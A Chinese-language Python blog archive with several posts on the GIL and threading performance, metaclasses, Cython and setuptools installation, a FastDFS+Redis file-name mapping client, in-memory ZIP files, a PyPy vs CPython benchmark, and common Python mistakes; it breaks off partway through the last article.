Alex's Blog

为什么有人说 Python 多线程是鸡肋？

2018-05-04T00:00:00+08:00

为什么有人会说 Python 多线程是鸡肋？知乎上有人提出这样一个问题，在我们常识中，多进程、多线程都是通过并发的方式充分利用硬件资源提高程序的运行效率，怎么在 Python 中反而成了鸡肋？

有同学可能知道答案，因为 Python 中臭名昭著的 GIL，GIL 是什么？为什么会有 GIL？多线程真的是鸡肋吗？ GIL 可以去掉吗？带着这些问题，我们一起往下看，同时需要你有一点点耐心。

多线程是不是鸡肋，我们先做个实验，实验非常简单，就是将数字 "1亿" 递减，减到 0 程序就终止，这个任务如果我们使用单线程来执行，完成时间会是多少？使用多线程又会是多少？show me the code

# 任务
def decrement(n):
    while n > 0:
        n -= 1

单线程

import time

start = time.time()
decrement(100000000)
cost = time.time() - start
>>> 6.541690826416016

在我的4核 CPU 计算机中，单线程所花的时间是 6.5 秒。可能有人会问，线程在哪里？其实任何程序运行时，默认都会有一个主线程在执行。（关于线程与进程这里不展开，我会单独开一篇文章）

多线程

import threading

start = time.time()

t1 = threading.Thread(target=decrement, args=[50000000])
t2 = threading.Thread(target=decrement, args=[50000000])

t1.start() # 启动线程，执行任务
t2.start() # 同上

t1.join() # 主线程阻塞，直到t1执行完成，主线程继续往后执行
t2.join() # 同上

cost = time.time() - start

>>>6.85541033744812

创建两个子线程 t1、t2，每个线程各执行 5 千万次减操作，等两个线程都执行完后，主线程终止程序运行。结果，两个线程以合作的方式执行是 6.8 秒，反而变慢了。按理来说，两个线程同时并行地运行在两个 CPU 之上，时间应该减半才对，现在不减反增。

是什么原因导致多线程不快反慢的呢？

原因就在于 GIL ，在 Cpython 解释器（Python语言的主流解释器）中，有一把全局解释锁（Global Interpreter Lock），在解释器解释执行 Python 代码时，先要得到这把锁，意味着，任何时候只可能有一个线程在执行代码，其它线程要想获得 CPU 执行代码指令，就必须先获得这把锁，如果锁被其它线程占用了，那么该线程就只能等待，直到占有该锁的线程释放锁才有执行代码指令的可能。

因此，这也就是为什么两个线程一起执行反而更加慢的原因，因为同一时刻，只有一个线程在运行，其它线程只能等待，即使是多核CPU，也没办法让多个线程「并行」地同时执行代码，只能是交替执行，因为多线程涉及到上线文切换、锁机制处理（获取锁，释放锁等），所以，多线程执行不快反慢。

什么时候 GIL 被释放呢？

当一个线程遇到 I/O 任务时，将释放GIL。计算密集型（CPU-bound）线程执行 100 次解释器的计步（ticks）时（计步可粗略看作 Python 虚拟机的指令），也会释放 GIL。可以通过 sys.setcheckinterval()设置计步长度，sys.getcheckinterval() 查看计步长度。相比单线程，这些多是多线程带来的额外开销

CPython 解释器为什么要这样设计？

多线程是为了适应现代计算机硬件高速发展充分利用多核处理器的产物，通过多线程使得 CPU 资源可以被高效利用起来，Python 诞生于1991年，那时候硬件配置远没有今天这样豪华，现在一台普通服务器32核64G内存都不是什么司空见惯的事，但是多线程有个问题，怎么解决共享数据的同步、一致性问题，因为，对于多个线程访问共享数据时，可能有两个线程同时修改一个数据情况，如果没有合适的机制保证数据的一致性，那么程序最终导致异常，所以，Python之父就搞了个全局的线程锁，不管你数据有没有同步问题，反正一刀切，上个全局锁，保证数据安全。这也就是多线程鸡肋的原因，因为它没有细粒度的控制数据的安全，而是用一种简单粗暴的方式来解决。

这种解决办法放在90年代，其实是没什么问题的，毕竟，那时候的硬件配置还很简陋，单核 CPU 还是主流，多线程的应用场景也不多，大部分时候还是以单线程的方式运行，单线程不要涉及线程的上下文切换，效率反而比多线程更高（在多核环境下，不适用此规则）。所以，采用 GIL 的方式来保证数据的一致性和安全，未必不可取，至少在当时是一种成本很低的实现方式。

那么把 GIL 去掉可行吗？

还真有人这么干多，但是结果令人失望，在1999年Greg Stein 和Mark Hammond 两位哥们就创建了一个去掉 GIL 的 Python 分支，在所有可变数据结构上把 GIL 替换为更为细粒度的锁。然而，做过了基准测试之后，去掉GIL的 Python 在单线程条件下执行效率将近慢了2倍。

Python之父表示：基于以上的考虑，去掉GIL没有太大的价值而不必花太多精力。

小结

CPython解释器提供了GIL（全局解释器锁）保证线程数据同步，那么有了 GIL，我们还需要线程同步吗？多线程在IO密集型任务中，表现又怎样呢？欢迎大家留言

参考链接：

http://cenalulu.github.io/python/gil-in-python/
https://ruby-china.org/topics/28415
http://zhuoqiang.me/python-thread-gil-and-ctypes.html
https://blog.csdn.net/gvanrossum/article/details/1782752

Original:https://foofish.net/thread.html

什么是 Python 元类

2018-01-28T00:00:00+08:00

龟叔发明了 Python，然后集成了一堆概念在这门语言里面，比如：迭代器，装饰器，函数，生成器，类，对象，协程等等。

这些概念对初学者似乎没一个好懂的，不过还有比这更难的概念，它是 Python 世界中的造物主，虽然我们很少去直接使用它，但天天都在用，它就是今天的主角------元类。

今天我的任务就是彻底明白什么是元类，看懂了别忘了给我点个赞，分享给更多人。

要搞懂元类，我们还是先从对象说起。

对象（Object）

Python 一切皆对象，这句话你一定有听说过（现在你就听说了），一个数字是对象，一个字符串是对象，一个列表是对象，一个字典是对象，例如：

>>> i = 10
>>> s = "abc"
>>> nums = [1,2,3]
>>> dicts = {"name":"zhang"}

等号右边是对象，左边是给这些对象取的名字，任何对象都有3个关键属性：标识、值、类型。

标识

标识就和人的身份证ID一样，每个对象有唯一ID标识，在整个生命周期中都不会变，你可以认为标识是这个对象在计算机内存中的地址。通过函数 id() 可以查看对象的ID标识。

>>> id(i)
40592592
>>> id(s)
44980584

对象值

对象的第二个属性是值，值很好理解，比如 i 的值是 10，s 的值是 abc，nums 的值就是 1,2,3。

类型

对象还有一个很重要的属性就是类型，任何对象都有属于自己的类型，对象就是由它的类型构造出来的，比如上面的 i 的类型是 int 类型，这个对象就是由 int 构造出来的。s 类型是字符串类型，nums 的类型是列表类型，dicts 的类型是字典类型，它们都是由对应的类型构建出来的。

通过 type() 可以查看对象的类型。

>>> type(i)
<class 'int'>
>>> type(s)
<class 'str'>
>>> type(nums)
<class 'list'>
>>> type(dicts)
<class 'dict'>

对象的类型也和ID标识一样，确定好之后就不会再变化了。

类与（实例）对象

除了系统已经定义好了的整数类型，字符串类型，列表等类型之外，我们还可以创建自己的类型，用关键字 class 来定义。例如：

>>> class Person:
        # 这里的 self 指某个实例对象自己
...     def __init__(self, name):
            # name 是实例的属性
...         self.name = name
        # live 是类的属性
        live = True

这里的 Person 就是自定义类，类是一个抽象的模版，既不指张三也不是李四，现在我们可以通过调用这个类来构造（实例化）出一个具体的，实在的，有名字的对象出来，这个对象称之为实例对象。

>>> p1 = Person("zhangsan")
>>> p1.name
'zhangsan'
>>>
>>> p2 = Person("lisi")
>>> p2.name
'lisi'

这里的 p1、p2 就是实例化之后的（实例）对象，这两个对象的类型都是 Person 类，类与（实例）对象的关系就像一个车辆模具与一辆被造出来的真实车的关系一样。

>>> p1
<__main__.Person object at 0x0195AA30>
>>> type(p1)
<class '__main__.Person'> # 这里的__main__是模块名称

类也是对象（又叫类对象）

刚刚我们说了一切都是对象，实例（真实车）是对象，类（模具）当然也是对象，因为它也是个实实在在存在的东西，

当 Python 解释器执行到关键字 class 这个指令的时候，在内部就会创建一个名为 "Person" 的类，这个类也是个对象，我们称之为类对象（注意区别实例对象），它一样有ID标识、有类型、有值。例如：

>>> id(Person)
26564024
>>> type(Person)
<class 'type'>
>>> Person
<class '__main__.Person'>

我们注意到这个　Person　这个类对象的类型叫 “type”，也就是说 Person 类是由 type 创建出来的，现在你要记住，p1，p2 是实例对象，而 Person 是类对象。另外，这个 type 是什么鬼？

我们来回顾一下，实例对象 p1 的类型是类对象 Person，Person 的类型 type

>>> nums = [1,2,3]
>>> type(nums)
<class 'list'>
>>> type(list)
<class 'type'>

nums 的类型是 list，list 的类型也是 type，字典类（dict）的类型也是 type，所有类的类型都是 type，也就是说所有的类都是由type 创建的。这个 type 就是元类，道生一，一生二，三生万物，元类就是 Python 中的造物主。（元类自己也是对象）

现在我们都知道类（对象）可以使用 class 关键字创建，我们还知道类（对象）的类型是 type，既然知道了它的类型是　type，那么肯定可以通过 type（元类）来创建。

用元类创建类

前面讲到过，type 有一个作用是用于检查对象的类型，其实它还有另外一个作用就是作为元类动态地创建类（对象）。

>>> Person = type("Person", (), {"live":True})
>>> Person
<class '__main__.Person'>

Person 就是一个类，它等价于：

>>> class Person:
...     live = True
...
>>> Person
<class '__main__.Person'>

用元类 type 创建类的语法是：

type(类名,基类元组(可以为空), 属性字典)

那么元类到底有什么用处呢？我们真的需要元类吗？请关注下回讲解，（留给大家多些时间消化，O(∩_∩)O）

Original:https://foofish.net/what-is-metaclass.html

2013-2014官方关于 Python 2.x 和 3.x 调查

2018-01-01T00:00:00+08:00

# 2013-2014官方关于 Python 2.x 和 3.x 调查

2013 年末 Python 官方发起一个调查，主要是想透过该调查了解用户对 Python 3.x 是否流行。

目前该调查已结束，更详细的调查结果请看官方pdf [2013-2014 Python 2.x-3.x survey.pdf](https://wiki.py
thon.org/moin/2.x-vs-3.x-survey?action=AttachFile&do=view&target=2013-2014+Pyt
hon+2.x-3.x+survey.pdf).

调查结果表格如下：

![](http://www.pythontab.com/statics/js/ueditor/php/upload/33401388812857.png)

通过看官方的调查结果，我们发现目前python2仍是主流，python3还需要时间发展。

Cython安装与使用入门

2018-01-01T00:00:00+08:00

# Cython安装与使用入门

### 一、Cython是什么?



它是一个用来快速生成Python扩展模块(extention module)的工具

它的语法是python语言语法和c语言语法的混血

他比swig更容易编写python的扩展模块

也许你会说swig可以直接通过c的头文件生成扩展模块，但是swig对回调函数的支持不是很好，

另外，如果用swig，很多情况下，你要写额外的代码将输入的参数转换成python对象以及将输出转成python对象，例如如果封装的一个C函数的参数是输入输出
的话，又如如果C函数的参数中有回调函数的话

而在Cython，C里的类型，如int,float,long，char*等都会在必要的时候自动转成python对象，或者从python对象转成C类型，在转换
失败时会抛出异常，这正是Cython最神奇的地方

另外，Cython对回调函数的支持也很好。

总之，如果你有写python扩展模块的需求，那么Cython真的是一个很好的工具



### 二、安转cython



cython 在linux下安装：



#### 1\. 源码包安装：



    [blueelwang@pythontab ~]$ wget https://pypi.python.org/packages/b7/67/7e2a817f9e9c773ee3995c1e15204f5d01c8da71882016cac10342ef031b/Cython-0.25.2.tar.gz
    [blueelwang@pythontab ~]$ tar xzvf Cython-0.25.2.tar.gz
    [blueelwang@pythontab ~]$ cd Cython-0.25.2
    [blueelwang@pythontab ~]$ python setup.py install



#### 2\. pip包安装



    [blueelwang@pythontab ~]$ sudo pip install Cython --install-option="--no-cython-compile"

#### 3\. Ubuntu下安装



    [blueelwang@pythontab ~]$ sudo apt-get install cython



安装后  输入 cython 即可验证是否安装成功



### 三、使用



#### 1、编写以 .pyx为扩展名的 cython程序，hello.pyx



    def say_hello_to(name):
        print("Hello %s!" % name)

#### 2、编写python程序 setup.py

其目的是把 hello.pyx程序转化成hello.c ，并编译成so文件



    from distutils.core import setup
    from distutils.extension import Extension
    from Cython.Distutils import build_ext
    ext_modules = [Extension("hello", ["hello.pyx"])]
    setup(
      name = 'Hello world app',
      cmdclass = {'build_ext': build_ext},
      ext_modules = ext_modules
    )



#### 3\. 执行python程序



    [blueelwang@pythontab ~]$ python setup.py build_ext --inplace

执行的结果会生成两个文件：hello.c 和 hello.so( 用PyObject* 封装好的文件)



#### 4\. 用python调用 hello.so,调用文件为test.py



    import hello
    hello.say_hello_to("hi,cython!!")



cython的主要目的是： 简化python调用c语言程序的繁琐封装过程，提高python代码执行速度（C语言的执行速度比python快）

FastDFS加Redis实现自定义文件名存储海量文件

2018-01-01T00:00:00+08:00

# FastDFS加Redis实现自定义文件名存储海量文件

FastDFS非常适合存储大量的小文件，遗憾的是本身不支持自定义文件名，文件名是存储成功以后根据存储位置生成的一个file_id。很多应用场景不得不使用自定
义文件名，在不修改其源码的情况下，可以在存储客户端fdfs_client增加一个用来存储自定义文件名和fastdfs的file_id之间的映射关系的数据库间
接实现自定义文件名的存取和访问，在这里我们选用了reids。顺便说一下，淘宝也有一个类似于FastDFS的文件存储系统TFS，对于自定义文件名，它是用mys
ql来存储映射关系的，我认为在高并发访问下mysql本身就是瓶颈，因此在这个方案中采用了redis。

准备工作：

fastdfs环境安装...略...（官方：https://code.google.com/p/fastdfs/）

redis环境安装...略...(官方：http://redis.io/)

用python实现，因此需要安装fastdfs的python客户端(下载：https://fastdfs.googlecode.com/files
/fdfs_client-py-1.2.6.tar.gz)

python的redis客户端，到https://pypi.python.org/pypi/redis下载



    # -*- coding: utf-8 -*-
    import setting
    from fdfs_client.client import *
    from fdfs_client.exceptions import *

    from fdfs_client.connection import *

    import redis
    import time
    import logging
    import random

    logging.basicConfig(format='[%(levelname)s]: %(message)s', level=logging.DEBUG)
    logger = logging.getLogger(__name__)
    logger.setLevel(logging.DEBUG)


    class RedisError(Exception):
         def __init__(self, value):
             self.value = value
         def __str__(self):
             return repr(self.value)

    class fastdfsClient(Fdfs_client):
        def __init__(self):
            self.tracker_pool = ConnectionPool(**setting.fdfs_tracker)
            self.timeout  = setting.fdfs_tracker['timeout']
            return None

        def __del__(self):
            try:
                self.pool.destroy()
                self.pool = None
            except:
                pass

    class fastdfs(object):
        def __init__(self):
            '''
            conf_file:配置文件
            '''
            self.fdfs_client = fastdfsClient()
            self.fdfs_redis = []
            for i in setting.fdfs_redis_dbs:
                self.fdfs_redis.append(redis.Redis(host=i[0], port=i[1], db=i[2]))

        def store_by_buffer(self,buf,filename=None,file_ext_name = None):
            '''
            buffer存储文件
            参数：
            filename:自定义文件名，如果不指定，将远程file_id作为文件名
            file_ext_name:文件扩展名（可选），如果不指定，将根据自定义文件名智能判断
            返回值：
            {
            'group':组名,
            'file_id':不含组名的文件ID,
            'size':文件尺寸,
            'upload_time':上传时间
            }
            '''
            if filename and  random.choice(self.fdfs_redis).exists(filename):
                logger.info('File(%s) exists.'%filename)
                return   random.choice(self.fdfs_redis).hgetall(filename)
            t1 = time.time()
    #        try:
            ret_dict = self.fdfs_client.upload_by_buffer(buf,file_ext_name)
    #        except Exception,e:
    #            logger.error('Error occurred while uploading: %s'%e.message)
    #            return None
            t2 = time.time()
            logger.info('Upload file(%s) by buffer, time consume: %fs' % (filename,(t2 - t1)))
            for key in ret_dict:
                logger.debug('[+] %s : %s' % (key, ret_dict[key]))
            stored_filename = ret_dict['Remote file_id']
            stored_filename_without_group = stored_filename[stored_filename.index('/')+1:]
            if not filename:
                filename =stored_filename_without_group
            vmp = {'group':ret_dict['Group name'],'file_id':stored_filename_without_group,'size':ret_dict['Uploaded size'],'upload_time':int(time.time()*1000)}
            try:
                for i in self.fdfs_redis:
                    if not i.hmset(filename,vmp):
                        raise RedisError('Save Failure')
                    logger.info('Store file(%s) by buffer successful' % filename)
            except Exception,e:
                logger.error('Save info to Redis failure. rollback...')
                try:
                    ret_dict = self.fdfs_client.delete_file(stored_filename)
                except Exception,e:
                    logger.error('Error occurred while deleting: %s'%e.message)
                return None
            return vmp

        def remove(self,filename):
            '''
            删除文件,
            filename是用户自定义文件名
            return True|False
            '''
            fileinfo = random.choice(self.fdfs_redis).hgetall(filename)
            stored_filename = '%s/%s'%(fileinfo['group'],fileinfo['file_id'])
            try:
                ret_dict = self.fdfs_client.delete_file(stored_filename)
                logger.info('Remove stored file successful')
            except Exception,e:
                logger.error('Error occurred while deleting: %s'%e.message)
                return False
            for i in self.fdfs_redis:
                if not i.delete(filename):
                    logger.error('Remove fileinfo in redis failure')
            logger.info('%s removed.'%filename)
            return True

        def download(self,filename):
            '''
            下载文件
            返回二进制
            '''
            finfo = self.getInfo(filename)
            if finfo:
                ret = self.fdfs_client.download_to_buffer('%s/%s'%(finfo['group'],finfo['file_id']))
                return ret['Content']
            else:
                logger.debug('%s is not exists'%filename)
                return None

        def list(self,pattern='*'):
            '''
            列出文件列表
            '''
            return random.choice(self.fdfs_redis).keys(pattern)

        def getInfo(self,filename):
            '''
            获得文件信息
            return:{
            'group':组名,
            'file_id':不含组名的文件ID,
            'size':文件尺寸,
            'upload_time':上传时间
            }
            '''
            return random.choice(self.fdfs_redis).hgetall(filename)



配置：



    # -*- coding: utf-8 -*-
    #fastdfs tracker, multiple tracker supported
    fdfs_tracker = {
    'host_tuple':('192.168.2.233','192.168.2.234'),
    'port':22122,
    'timeout':30,
    'name':'Tracker Pool'
    }
    #fastdfs meta db, multiple redisdb supported
    fdfs_redis_dbs = (
        ('192.168.2.233',6379,0),
        ('192.168.2.233',6379,1)
    )

Go 语言编写 CPython 扩展 goPy

2018-01-01T00:00:00+08:00

# Go 语言编写 CPython 扩展 goPy

goPy 是一个新的开源项目，实现了用 Go 语言来编写 CPython 扩展。

示例代码：



    package simple

    import (
    "fmt"
    "gopy"
    )

    func example(args *py.Tuple) (py.Object, error) {
    fmt.Printf("simple.example: %v\n", args)
    py.None.Incref()
    return py.None, nil
    }

    func init() {
    methods := []py.Method{
    {"example", example, "example function"},
    }

    _, err := py.InitModule("simple", methods)
    if err != nil {
    panic(err)
    }
    }



编译方法：

gopy pymodule.go



使用方法：

import simple

simple.example("hello", {123: True})

输出结果：

simple.example: [hello map[123:true]]



github开源项目地址：https://github.com/qur/gopy

ImportError_ No module named setuptools 解决方法

2018-01-01T00:00:00+08:00

# ImportError: No module named setuptools 解决方法

在python运行过程中出现如下错误：

python错误：



    ImportError: No module named setuptools

这句错误提示的表面意思是：没有setuptools的模块，说明python缺少这个模块，那我们只要安装这个模块即可解决此问题，下面我们来安装一下：  
在命令行下：


下载setuptools包



    shell# wget http://pypi.python.org/packages/source/s/setuptools/setuptools-0.6c11.tar.gz


解压setuptools包



    shell# tar zxvf setuptools-0.6c11.tar.gz
    shell# cd setuptools-0.6c11

编译setuptools



    shell# python setup.py build


开始执行setuptools安装



    shell# python setup.py install


安装完成

PYTHON如何在内存中生成ZIP文件

2018-01-01T00:00:00+08:00

# PYTHON如何在内存中生成ZIP文件

如题，代码如下：



    class MemoryZipFile(object):
       def __init__(self):
           #创建内存文件
           self._memory_zip = StringIO.StringIO()

       def append_content(self, filename_in_zip, file_content):
           """
           description: 写文本内容到zip
           """
           zf = zipfile.ZipFile(self._memory_zip, "a", zipfile.ZIP_DEFLATED, False)
           zf.writestr(filename_in_zip, file_content)
           for zfile in zf.filelist: zfile.create_system = 0
           return self

       def append_file(self, filename_in_zip, local_file_full_path):
           """



      description:写文件内容到zip

      注意这里的第二个参数是本地磁盘文件的全路径(windows:c/demo/1.jpg | linux:
/usr/local/test/1.jpg)

      """

      zf = zipfile.ZipFile(self._memory_zip, "a", zipfile.ZIP_DEFLATED, False)

      zf.write(local_file_full_path, filename_in_zip)

      for zfile in zf.filelist: zfile.create_system = 0

      return self



  def read(self):

      """

      description: 读取zip文件内容

      """

      self._memory_zip.seek(0)

      return self._memory_zip.read()



  def write_file(self, filename):

      """

      description:写zip文件到磁盘

      """

      f = file(filename, "wb")

      f.write(self.read())

      f.close()







使用方法如下：





            mem_zip_file = MemoryZipFile()
            mem_zip_file.append_content('mimetype', "application/epub+zip")
            mem_zip_file.append_content('META-INF/container.xml', '''<?xml version="1.0" encoding="UTF-8" ?>
    <container version="1.0" xmlns="urn:oasis:names:tc:opendocument:xmlns:container"> </container>''');
            #追加磁盘上的文件内容到内存，注意这里的第二个参数是本地磁盘文件的全路径(windows:c/demo/1.jpg | linux: /usr/local/test/1.jpg)
            mem_zip_file.append_file("1.jpg", "c:\1.jpg")


            #将内存中的zip文件写入磁盘
            mem_zip_file.write_file("c:test.zip")

            #获取内存zip文件内容
            data = mem_zip_file.read()

            #上传到fdfs
            my_fdfs_client.upload_by_buffer(data, 'zip')

PyPy 和 CPython 的性能比较测试

2018-01-01T00:00:00+08:00

# PyPy 和 CPython 的性能比较测试

最近我在维基百科上完成了一些数据挖掘方面的任务。它由这些部分组成：

解析enwiki-pages-articles.xml的维基百科转储；

把类别和页存储到MongoDB里面；

对类别名称进行重新分门别类。

我对CPython 2.7.3和PyPy 2b的实际任务性能进行了测试。我使用的库是：

redis 2.7.2

pymongo 2.4.2

此外CPython是由以下库支持的：

hiredis

pymongo c-extensions

测试主要包含数据库解析，所以我没预料到会从PyPy得到多大好处（何况CPython的数据库驱动是C写的）。

下面我会描述一些有趣的结果。



抽取维基页名



我需要在所有维基百科的类别中建立维基页名到page.id的联接并存储重新分配好的它们。最简单的解决方案应该是导入enwiki-page.sql（定义了一个R
DB表）到MySQL里面，然后传输数据、进行重分配。但我不想增加MySQL需求（有骨气！XD）所以我用纯Python写了一个简单的SQL插入语句解析器
，然后直接从enwiki-page.sql导入数据，进行重分配。

这个任务对CPU依赖更大，所以我再次看好PyPy。

/ time

PyPy 169.00s 用户态 8.52s 系统态 90% CPU

CPython 1287.13s 用户态 8.10s 系统态 96% CPU

我也给page.id->类别做了类似的联接（我笔记本的内存太小了，不能保存供我测试的信息了）。



从enwiki.xml中筛选类别



为了方便工作，我需要从enwiki-pages-articles.xml中过滤类别，并将它们存储相同的XML格式的类别。因此我选用了SAX解析器，在PyPy
和CPython中都适用的包装器解析。对外的原生编译包（同事在PyPy和CPython 中） 。

代码非常简单：



    class WikiCategoryHandler(handler.ContentHandler):
        """Class which detecs category pages and stores them separately
        """
        ignored = set(('contributor', 'comment', 'meta'))

        def __init__(self, f_out):
            handler.ContentHandler.__init__(self)
            self.f_out = f_out
            self.curr_page = None
            self.curr_tag = ''
            self.curr_elem = Element('root', {})
            self.root = self.curr_elem
            self.stack = Stack()
            self.stack.push(self.curr_elem)
            self.skip = 0

        def startElement(self, name, attrs):
            if self.skip>0 or name in self.ignored:
                self.skip += 1
                return
            self.curr_tag = name
            elem = Element(name, attrs)
            if name == 'page':
                elem.ns = -1
                self.curr_page = elem
            else:   # we don't want to keep old pages in memory
                self.curr_elem.append(elem)
            self.stack.push(elem)
            self.curr_elem = elem

        def endElement(self, name):
            if self.skip>0:
                self.skip -= 1
                return
            if name == 'page':
                self.task()
                self.curr_page = None
            self.stack.pop()
            self.curr_elem = self.stack.top()
            self.curr_tag = self.curr_elem.tag

        def characters(self, content):
            if content.isspace(): return
            if self.skip == 0:
                self.curr_elem.append(TextElement(content))
                if self.curr_tag == 'ns':
                    self.curr_page.ns = int(content)

        def startDocument(self):
            self.f_out.write("<root>\n")

        def endDocument(self):
            self.f_out.write("<\root>\n")
            print("FINISH PROCESSING WIKIPEDIA")

        def task(self):
            if self.curr_page.ns == 14:
                self.f_out.write(self.curr_page.render())


    class Element(object):
        def __init__(self, tag, attrs):
            self.tag = tag
            self.attrs = attrs
            self.childrens = []
            self.append = self.childrens.append

        def __repr__(self):
            return "Element {}".format(self.tag)

        def render(self, margin=0):
            if not self.childrens:
                return u"{0}<{1}{2} />".format(
                    " "*margin,
                    self.tag,
                    "".join([' {}="{}"'.format(k,v) for k,v in {}.iteritems()]))
            if isinstance(self.childrens[0], TextElement) and len(self.childrens)==1:
                return u"{0}<{1}{2}>{3}</{1}>".format(
                    " "*margin,
                    self.tag,
                    "".join([u' {}="{}"'.format(k,v) for k,v in {}.iteritems()]),
                    self.childrens[0].render())

            return u"{0}<{1}{2}>\n{3}\n{0}</{1}>".format(
                " "*margin,
                self.tag,
                "".join([u' {}="{}"'.format(k,v) for k,v in {}.iteritems()]),
                "\n".join((c.render(margin+2) for c in self.childrens)))

    class TextElement(object):
        def __init__(self, content):
            self.content = content

        def __repr__(self):
            return "TextElement" def render(self, margin=0):
            return self.content



Element和TextElement元素包换tag和body信息，同时提供了一个方法来渲染它。

下面是我想要的PyPy和CPython比较结果。

/ time

PyPy 2169.90s

CPython 4494.69s

我很对PyPy的结果很吃惊。

计算有趣的类别集合



我曾经想要计算一个有趣的类别集合——在我的一个应用背景下，以Computing类别衍生的一些类别为开始进行计算。为此我需要构建一个提供类的类图——子类关系图
。

结构类——子类关系图



这个任务使用MongoDB作为数据来源，并对结构进行重新分配。算法是：



    for each category.id in redis_categories (it holds *category.id -> category title mapping*) do:
        title = redis_categories.get(category.id)
        parent_categories = mongodb get categories for title
        for each parent_cat in parent categories do:
            redis_tree.sadd(parent_cat, title) # add to parent_cat set title



抱歉写这样的伪码，但我想这样看起来更加紧凑些。

所以说这个任务仅把数据从一个数据库拷贝到另一个。这里的结果是MongoDB预热完毕后得出的（不预热的话数据会有偏差——这个Python任务只耗费约10%的C
PU）。计时如下：

/ time

PyPy 175.11s 用户态 66.11s 系统态 64% CPU

CPython 457.92s 用户态 72.86s 系统态 81% CPU



遍历redis_tree（再分配过的树）



如果我们有redis_tree数据库，仅剩的问题就是遍历Computing类别下所有可实现的结点了。为避免循环遍历，我们需要记录已访问过的结点。自从我想测试
Python的数据库性能，我就用再分配集合列来解决这个问题。

/ time

PyPy 14.79s 用户态 6.22s 系统态 69% CPU 30.322 总计

CPython 44.20s 用户态 13.86s 系统态 71% CPU 1:20.91 总计

说实话，这个任务也需要构建一些tabu list（禁止列表）——来避免进入不需要的类别。但那不是本文的重点。



结论

进行的测试仅仅是我最终工作的一个简介。它需要一个知识体系，一个我从抽取维基百科中适当的内容中得到的知识体系。

PyPy相比CPython，在我这个简单的数据库操作中，提高了2-3倍的性能。（我这里没有算上SQL解析器，大约8倍）

多亏了PyPy，我的工作更加愉悦了——我没有改写算法就使Python有了效率，而且PyPy没有像CPython一样把我的CPU弄挂了，以至于一段时间内我没法
正常的使用我的笔记本了（看看CPU时间占的百分比吧）。

任务几乎都是数据库操作，而CPython有一些加速的乱七八糟的C语言模块。PyPy不使用这些，但结果却更快！

我的全部工作需要大量的周期，所以我真高兴能用PyPy。

Python 程序员经常犯的 10 个错误

2018-01-01T00:00:00+08:00

# Python 程序员经常犯的 10 个错误

关于Python

Python是一种解释性、面向对象并具有动态语义的高级程序语言。它内建了高级的数据结构，结合了动态类型和动态绑定的优点，这使得它在快速应用开发中非常有吸引力
，并且可作为脚本或胶水语言来连接现有的组件或服务。Python支持模块和包，从而鼓励了程序的模块化和代码重用。

关于这篇文章

Python简单易学的语法可能会使Python开发者–尤其是那些编程的初学者–忽视了它的一些微妙的地方并低估了这门语言的能力。

有鉴于此，本文列出了一个“10强”名单，枚举了甚至是高级Python开发人员有时也难以捕捉的错误。

### 常见错误 1: 滥用表达式作为函数参数的默认值

Python允许为函数的参数提供默认的可选值。尽管这是语言的一大特色，但是它可能会导致一些易变默认值的混乱。例如，看一下这个Python函数的定义：



    >>> def foo(bar=[]):        # bar is optional and defaults to [] if not specified  
    ...    bar.append("baz")    # but this line could be problematic, as we'll see...  
    ...    return bar

一个常见的错误是认为在函数每次不提供可选参数调用时可选参数将设置为默认指定值。在上面的代码中，例如，人们可能会希望反复（即不明确指定bar参数）地调用foo
()时总返回'baz'，由于每次foo()调用时都假定（不设定bar参数）bar被设置为[]（即一个空列表）。

但是让我们看一下这样做时究竟会发生什么：



    >>>&nbsp;foo()  
    ["baz"]>>>&nbsp;foo()  
    ["baz",&nbsp;"baz"]>>>&nbsp;foo()  
    ["baz",&nbsp;"baz",&nbsp;"baz"]

耶？为什么每次foo()调用时都要把默认值"baz"追加到现有列表中而不是创建一个新的列表呢？

答案是函数参数的默认值只会评估使用一次—在函数定义的时候。因此，bar参数在初始化时为其默认值（即一个空列表），即foo()首次定义的时候，但当调用foo(
)时（即，不指定bar参数时）将继续使用bar原本已经初始化的参数。

下面是一个常见的解决方法：



    >>> def foo(bar=None):  
    ...    if bar is None:        # or if not bar:  
    ...        bar = []  
    ...    bar.append("baz")  
    ...    return bar  
    ...  
    >>> foo()  
    ["baz"]  
    >>> foo()  
    ["baz"]  
    >>> foo()  
    ["baz"]

### 常见错误 2: 错误地使用类变量

考虑一下下面的例子：



    >>> class A(object):  
    ...     x = 1 
    ...  
    >>> class B(A):  
    ...     pass 
    ...  
    >>> class C(A):  
    ...     pass 
    ...  
    >>> print A.x, B.x, C.x  
    1 1 1

常规用一下。



    >>> B.x = 2 
    >>> print A.x, B.x, C.x  
    1 2 1

嗯，再试一下也一样。



    >>> A.x = 3 
    >>> print A.x, B.x, C.x  
    3 2 3

什么 $%#!&?? 我们只改了A.x，为什么C.x也改了?

在Python中，类变量在内部当做字典来处理，其遵循常被引用的方法解析顺序（MRO）。所以在上面的代码中，由于class
C中的x属性没有找到，它会向上找它的基类（尽管Python支持多重继承，但上面的例子中只有A）。换句话说，class
C中没有它自己的x属性，其独立于A。因此，C.x事实上是A.x的引用。

### 常见错误 3: 为 except 指定错误的参数

假设你有如下一段代码：



    >>> try:  
    ...     l = ["a", "b"]  
    ...     int(l[2])  
    ... except ValueError, IndexError:  # To catch both exceptions, right?  
    ...     pass 
    ...  
    Traceback (most recent call last):  
      File "<stdin>", line 3, in <module>  
    IndexError: list index out of range

这里的问题在于 except 语句并不接受以这种方式指定的异常列表。相反，在Python 2.x中，使用语法 except Exception, e
是将一个异常对象绑定到第二个可选参数（在这个例子中是 e）上，以便在后面使用。所以，在上面这个例子中，IndexError
这个异常并不是被except语句捕捉到的，而是被绑定到一个名叫 IndexError的参数上时引发的。

在一个except语句中捕获多个异常的正确做法是将第一个参数指定为一个含有所有要捕获异常的元组。并且，为了代码的可移植性，要使用as关键词，因为Python
2 和Python 3都支持这种语法：



    >>> try:  
    ...     l = ["a", "b"]  
    ...     int(l[2])  
    ... except (ValueError, IndexError) as e:    
    ...     pass 
    ...  
    >>>

### 常见错误 4:  不理解Python的作用域

Python是基于 LEGB 来进行作用于解析的, LEGB 是 Local, Enclosing, Global, Built-in
的缩写。看起来“见文知意”，对吗？实际上，在Python中还有一些需要注意的地方，先看下面一段代码：



    >>> x = 10 
    >>> def foo():  
    ...     x += 1 
    ...     print x  
    ...  
    >>> foo()  
    Traceback (most recent call last):  
      File "<stdin>", line 1, in <module>  
      File "<stdin>", line 2, in foo  
    UnboundLocalError: local variable 'x' referenced before assignment

这里出什么问题了？

